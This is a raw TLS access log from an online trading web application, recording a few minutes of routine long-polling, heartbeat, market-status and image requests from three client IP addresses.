[09/Jan/2026:12:30:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:30:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933302745 HTTP/1.1" -
[09/Jan/2026:12:30:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933303528 HTTP/1.1" -
[09/Jan/2026:12:30:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933307937 HTTP/1.1" -
[09/Jan/2026:12:30:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933308653 HTTP/1.1" -
[09/Jan/2026:12:30:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:30:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933313135 HTTP/1.1" -
[09/Jan/2026:12:30:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933313805 HTTP/1.1" -
[09/Jan/2026:12:30:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:30:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:30:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:30:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933318227 HTTP/1.1" -
[09/Jan/2026:12:30:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933318950 HTTP/1.1" -
[09/Jan/2026:12:30:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933323425 HTTP/1.1" -
[09/Jan/2026:12:30:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933324037 HTTP/1.1" -
[09/Jan/2026:12:30:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933328653 HTTP/1.1" -
[09/Jan/2026:12:30:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:31:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933329108 HTTP/1.1" -
[09/Jan/2026:12:31:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:31:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933333889 HTTP/1.1" -
[09/Jan/2026:12:31:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933334288 HTTP/1.1" -
[09/Jan/2026:12:31:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933339108 HTTP/1.1" -
[09/Jan/2026:12:31:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933339412 HTTP/1.1" -
[09/Jan/2026:12:31:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:31:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933344357 HTTP/1.1" -
[09/Jan/2026:12:31:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933344581 HTTP/1.1" -
[09/Jan/2026:12:31:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:31:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:31:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:31:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:31:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:12:31:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:31:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933349514 HTTP/1.1" -
[09/Jan/2026:12:31:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933349764 HTTP/1.1" -
[09/Jan/2026:12:31:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933354692 HTTP/1.1" -
[09/Jan/2026:12:31:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933354832 HTTP/1.1" -
[09/Jan/2026:12:31:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:31:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:31:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933359921 HTTP/1.1" -
[09/Jan/2026:12:31:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933359938 HTTP/1.1" -
[09/Jan/2026:12:31:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933365014 HTTP/1.1" -
[09/Jan/2026:12:31:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933365067 HTTP/1.1" -
[09/Jan/2026:12:31:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933370272 HTTP/1.1" -
[09/Jan/2026:12:31:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933370258 HTTP/1.1" -
[09/Jan/2026:12:31:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:31:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933375419 HTTP/1.1" -
[09/Jan/2026:12:31:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933375419 HTTP/1.1" -
[09/Jan/2026:12:31:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:31:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:31:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:31:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933380663 HTTP/1.1" -
[09/Jan/2026:12:31:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933385723 HTTP/1.1" -
[09/Jan/2026:12:32:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:32:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933390835 HTTP/1.1" -
[09/Jan/2026:12:32:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933396030 HTTP/1.1" -
[09/Jan/2026:12:32:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933401167 HTTP/1.1" -
[09/Jan/2026:12:32:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933402199 HTTP/1.1" -
[09/Jan/2026:12:32:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:32:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933406423 HTTP/1.1" -
[09/Jan/2026:12:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:32:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:32:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933411483 HTTP/1.1" -
[09/Jan/2026:12:32:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933416705 HTTP/1.1" -
[09/Jan/2026:12:32:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:32:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933421904 HTTP/1.1" -
[09/Jan/2026:12:32:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933427047 HTTP/1.1" -
[09/Jan/2026:12:32:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933432197 HTTP/1.1" -
[09/Jan/2026:12:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:32:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933437332 HTTP/1.1" -
[09/Jan/2026:12:32:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:32:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:32:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933442379 HTTP/1.1" -
[09/Jan/2026:12:32:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933447538 HTTP/1.1" -
[09/Jan/2026:12:33:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:33:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933452686 HTTP/1.1" -
